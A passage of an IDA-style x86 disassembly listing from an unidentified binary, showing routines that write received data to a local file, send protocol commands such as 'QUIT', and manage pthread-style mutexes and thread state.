		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_429667:				; CODE XREF: sub_4295A0+BFj
		push	2000h
		call	ds:dword_4B3AB0
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_4296DD
		mov	ebp, ds:dword_4B3A84
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_429733


loc_42969A:				; CODE XREF: sub_4295A0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402059
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_4296C3
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42969A
		jmp	short loc_429733
; ---------------------------------------------------------------------------


loc_4296C3:				; CODE XREF: sub_4295A0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		call	ds:dword_4B3A48
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_429733
; ---------------------------------------------------------------------------


loc_4296DD:				; CODE XREF: sub_4295A0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_4020A9
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_429733
		mov	esi, ds:dword_4B3A78


loc_4296FA:				; CODE XREF: sub_4295A0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi
		add	esp, 10h
		test	eax, eax
		jbe	short loc_429721
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_4020A9
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_4296FA
		jmp	short loc_429733
; ---------------------------------------------------------------------------


loc_429721:				; CODE XREF: sub_4295A0+166j
		push	offset aLocalfileWrite ; "localfile write"
		call	ds:dword_4B3A58
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_429733:				; CODE XREF: sub_4295A0+F4j
					; sub_4295A0+121j ...
		push	edi
		call	ds:dword_4B3AAC
		push	ebx
		call	ds:dword_4B3A44
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_429756
		push	ebx
		call	ds:dword_4B3A94
		add	esp, 4


loc_429756:				; CODE XREF: sub_4295A0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401ADC
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4295A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4297F0:				; CODE XREF: _294ADE7B:00401613j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_4295A0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429820:				; CODE XREF: _294ADE7B:00401C08j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_429857
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_429857:				; CODE XREF: _294ADE7B:0042984Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, ds:dword_4B3A4C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_43F7C4
		push	ecx
		call	edi
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_428340
		add	esp, 18h
		test	eax, eax
		jnz	short loc_429898
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_429898:				; CODE XREF: _294ADE7B:0042988Bj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_43F9C8
		push	eax
		call	edi
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_428340
		add	esp, 18h
		test	eax, eax
		jz	short loc_4298F4
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_43F9C0
		push	esi
		call	ds:dword_4B3A70
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_4298F4
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_4298F4:				; CODE XREF: _294ADE7B:004298B7j
					; _294ADE7B:004298D8j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429950:				; CODE XREF: _294ADE7B:00401361j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_429980
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_429980:				; CODE XREF: _294ADE7B:00429975j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_43F9D4
		push	eax
		call	ds:dword_4B3A4C
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_428340
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4299BB
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_4299BB:				; CODE XREF: _294ADE7B:004299ABj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		call	ds:dword_4B3AE0
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A20	proc near		; CODE XREF: sub_40161Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_4295A0
		add	esp, 14h
		retn
sub_429A20	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A50:				; CODE XREF: _294ADE7B:00401636j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_4295A0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A80:				; CODE XREF: _294ADE7B:0040143Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_429B19
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_429B19
		mov	esi, ds:dword_4B3A4C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_43F9EC
		push	eax
		call	esi
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_428340
		add	esp, 18h
		test	eax, eax
		jz	short loc_429B19
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_43F9E0
		push	edx
		call	esi
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_428340
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_429B19:				; CODE XREF: _294ADE7B:00429AA1j
					; _294ADE7B:00429ABCj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429B60:				; CODE XREF: _294ADE7B:00401B4Aj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_429B89
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_429B89:				; CODE XREF: _294ADE7B:00429B80j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_43F9F8
		push	eax
		call	ds:dword_4B3A4C
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_428340
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429BE0	proc near		; CODE XREF: sub_401C2Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_429C19
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_428340
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_430A26
		mov	ecx, [esi+14h]
		mov	edi, ds:dword_4B3AAC
		push	ecx
		call	edi
		push	esi
		call	edi
		add	esp, 8
		pop	edi


loc_429C19:				; CODE XREF: sub_429BE0+Aj
		pop	esi
		retn
sub_429BE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429C30:				; CODE XREF: _294ADE7B:00402013j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_429C40
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_429C40:				; CODE XREF: _294ADE7B:00429C37j
		push	1Ch
		call	ds:dword_4B3AB0
		add	esp, 4
		test	eax, eax
		jnz	short loc_429C56
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_429C56:				; CODE XREF: _294ADE7B:00429C4Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429CB0:				; CODE XREF: _294ADE7B:004014B0j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jz	short loc_429CC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_429CC9:				; CODE XREF: _294ADE7B:00429CC0j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	ds:dword_4B3AAC
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D00:				; CODE XREF: _294ADE7B:0040129Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401280
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_429D25
		test	eax, eax
		jz	short loc_429D25
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_429D25:				; CODE XREF: _294ADE7B:00429D14j
					; _294ADE7B:00429D18j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D50:				; CODE XREF: _294ADE7B:0040134Dj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jz	short loc_429D69
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_429D69:				; CODE XREF: _294ADE7B:00429D60j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_429D7D
		cmp	eax, 1
		jz	short loc_429D7D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_429D7D:				; CODE XREF: _294ADE7B:00429D6Fj
					; _294ADE7B:00429D74j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429DA0:				; CODE XREF: _294ADE7B:004014ABj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429DC0:				; CODE XREF: _294ADE7B:0040176Cj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429DE0:				; CODE XREF: _294ADE7B:00401307j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jz	short loc_429DF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_429DF9:				; CODE XREF: _294ADE7B:00429DF0j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429E20:				; CODE XREF: _294ADE7B:0040204Aj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401280
		add	esp, 4
		test	eax, eax
		jz	short loc_429E39
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_429E39:				; CODE XREF: _294ADE7B:00429E30j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429E60:				; CODE XREF: _294ADE7B:004018C5j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429E90:				; CODE XREF: _294ADE7B:004018C0j
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_429EB2
		dec	eax
		jz	short loc_429EA2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_429EA2:				; CODE XREF: _294ADE7B:00429E9Aj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_429EB2:				; CODE XREF: _294ADE7B:00429E97j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429ED0:				; CODE XREF: _294ADE7B:00401B04j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_429F6B
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_429F6B
		push	18h
		push	1
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_429F62
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_429F10
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_429F10
		mov	eax, [eax]
		jmp	short loc_429F12
; ---------------------------------------------------------------------------


loc_429F10:				; CODE XREF: _294ADE7B:00429F04j
					; _294ADE7B:00429F0Aj
		xor	eax, eax


loc_429F12:				; CODE XREF: _294ADE7B:00429F0Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401B59
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_429F58
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401B59
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_429F4F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_429F4F:				; CODE XREF: _294ADE7B:00429F47j
		push	edi
		call	sub_4015FA
		add	esp, 4


loc_429F58:				; CODE XREF: _294ADE7B:00429F32j
		push	esi
		call	ds:dword_4B3AAC
		add	esp, 4


loc_429F62:				; CODE XREF: _294ADE7B:00429EFCj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_429F6B:				; CODE XREF: _294ADE7B:00429ED9j
					; _294ADE7B:00429EE5j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429FB0:				; CODE XREF: _294ADE7B:0040204Fj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42A018
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42A018
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_4015FA
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42A00E
		lea	eax, [esi+14h]
		push	eax
		call	sub_4015FA
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_429FFF
		push	esi
		call	ds:dword_4B3AAC
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_429FFF:				; CODE XREF: _294ADE7B:00429FECj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401B59
		add	esp, 0Ch


loc_42A00E:				; CODE XREF: _294ADE7B:00429FDAj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42A018:				; CODE XREF: _294ADE7B:00429FBAj
					; _294ADE7B:00429FC1j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A050:				; CODE XREF: _294ADE7B:004016EFj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42A104
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42A104
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		call	ds:dword_4B3850
		test	eax, eax
		jnz	short loc_42A097
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42A0E4
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_401EDD
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42A0E0
; ---------------------------------------------------------------------------


loc_42A097:				; CODE XREF: _294ADE7B:0042A078j
		push	ebx
		call	sub_4012AD
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42A0BB
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_4013B6
		add	esp, 8
		test	eax, eax
		jz	short loc_42A0BD


loc_42A0BB:				; CODE XREF: _294ADE7B:0042A0A7j
		xor	ebx, ebx


loc_42A0BD:				; CODE XREF: _294ADE7B:0042A0B9j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_40103C
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42A0E0
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_4013B6
		add	esp, 8


loc_42A0E0:				; CODE XREF: _294ADE7B:0042A095j
					; _294ADE7B:0042A0CFj
		test	esi, esi
		jnz	short loc_42A0FE


loc_42A0E4:				; CODE XREF: _294ADE7B:0042A082j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	ds:dword_4B26F4
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42A0FE:				; CODE XREF: _294ADE7B:0042A0E2j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A104:				; CODE XREF: _294ADE7B:0042A057j
					; _294ADE7B:0042A061j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A140:				; CODE XREF: _294ADE7B:00401E06j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	ds:dword_4B3A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_42A163
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42A163:				; CODE XREF: _294ADE7B:0042A152j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A190:				; CODE XREF: _294ADE7B:00401992j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42A1B1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42A1B1
		push	eax
		mov	[ecx], esi
		call	ds:dword_4B3AAC
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A1B1:				; CODE XREF: _294ADE7B:0042A199j
					; _294ADE7B:0042A19Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A1D0:				; CODE XREF: _294ADE7B:00401249j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42A1ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42A1ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42A1ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42A1ED:				; CODE XREF: _294ADE7B:0042A1D6j
					; _294ADE7B:0042A1DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A210:				; CODE XREF: _294ADE7B:004015AAj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42A23A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42A23A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42A22E
		test	eax, eax
		jnz	short loc_42A23A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42A22E:				; CODE XREF: _294ADE7B:0042A225j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42A23A:				; CODE XREF: _294ADE7B:0042A216j
					; _294ADE7B:0042A21Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A250	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		call	sub_4012AD
		mov	esi, eax
		test	esi, esi
		jz	short loc_42A2D8
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_42A26A
		cmp	edi, 1
		jnz	short loc_42A2D8


loc_42A26A:				; CODE XREF: sub_42A250+13j
		push	ebx
		lea	ebx, [esi+2Ch]
		push	ebx
		call	sub_40208B
		mov	eax, [esp+10h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_42A284
		mov	ecx, [esi+30h]
		mov	[eax], ecx


loc_42A284:				; CODE XREF: sub_42A250+2Dj
		test	edi, edi
		mov	[esi+30h], edi
		jnz	short loc_42A2C9
		mov	eax, [esi+34h]
		test	eax, eax
		jnz	short loc_42A2C9
		mov	edx, [esi+38h]
		push	edi
		push	edx
		call	ds:dword_4B3848
		test	eax, eax
		jnz	short loc_42A2C9
		mov	eax, [esi+38h]
		mov	dword ptr [esi+0Ch], 3
		push	eax
		mov	dword ptr [esi+30h], 1
		call	ds:dword_4B384C
		push	ebx
		call	sub_4010AF
		push	2
		call	sub_401CA8
		add	esp, 8


loc_42A2C9:				; CODE XREF: sub_42A250+39j
					; sub_42A250+40j ...
		push	ebx
		call	sub_4010AF
		add	esp, 4
		xor	eax, eax
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A2D8:				; CODE XREF: sub_42A250+Bj
					; sub_42A250+18j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_42A250	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A310:				; CODE XREF: _294ADE7B:0040209Fj
		push	ebx
		push	esi
		call	sub_4012AD
		mov	esi, eax
		test	esi, esi
		jz	short loc_42A398
		mov	ebx, [esp+0Ch]
		cmp	ebx, 1
		jz	short loc_42A32A
		test	ebx, ebx
		jnz	short loc_42A398


loc_42A32A:				; CODE XREF: _294ADE7B:0042A324j
		push	edi
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_40208B
		mov	eax, [esp+18h]
		add	esp, 4
		test	eax, eax
		jz	short loc_42A344
		mov	ecx, [esi+34h]
		mov	[eax], ecx


loc_42A344:				; CODE XREF: _294ADE7B:0042A33Dj
		mov	eax, [esi+30h]
		mov	[esi+34h], ebx
		test	eax, eax
		jnz	short loc_42A389
		test	ebx, ebx
		jnz	short loc_42A389
		mov	edx, [esi+38h]
		push	ebx
		push	edx
		call	ds:dword_4B3848
		test	eax, eax
		jnz	short loc_42A389
		mov	eax, [esi+38h]
		mov	dword ptr [esi+0Ch], 3
		push	eax
		mov	dword ptr [esi+30h], 1
		call	ds:dword_4B384C
		push	edi
		call	sub_4010AF
		push	2
		call	sub_401CA8
		add	esp, 8


loc_42A389:				; CODE XREF: _294ADE7B:0042A34Cj
					; _294ADE7B:0042A350j ...
		push	edi
		call	sub_4010AF
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42A398:				; CODE XREF: _294ADE7B:0042A31Bj
					; _294ADE7B:0042A328j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A3D0	proc near		; CODE XREF: sub_401BCCj
		push	esi
		push	edi
		call	sub_4012AD
		mov	esi, eax
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_40208B
		add	esp, 4
		test	esi, esi
		jz	short loc_42A41D
		cmp	dword ptr [esi+30h], 1
		jz	short loc_42A41D
		mov	eax, [esi+38h]
		push	0
		push	eax
		call	ds:dword_4B3848
		test	eax, eax
		jnz	short loc_42A41D
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010AF
		push	2
		call	sub_401CA8
		add	esp, 8


loc_42A41D:				; CODE XREF: sub_42A3D0+17j
					; sub_42A3D0+1Dj ...
		push	edi
		call	sub_4010AF
		add	esp, 4
		pop	edi
		pop	esi
		retn
sub_42A3D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A450:				; CODE XREF: _294ADE7B:00401C03j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_4016B3
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42A589
		call	sub_4012AD
		test	eax, eax
		jnz	short loc_42A48B
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


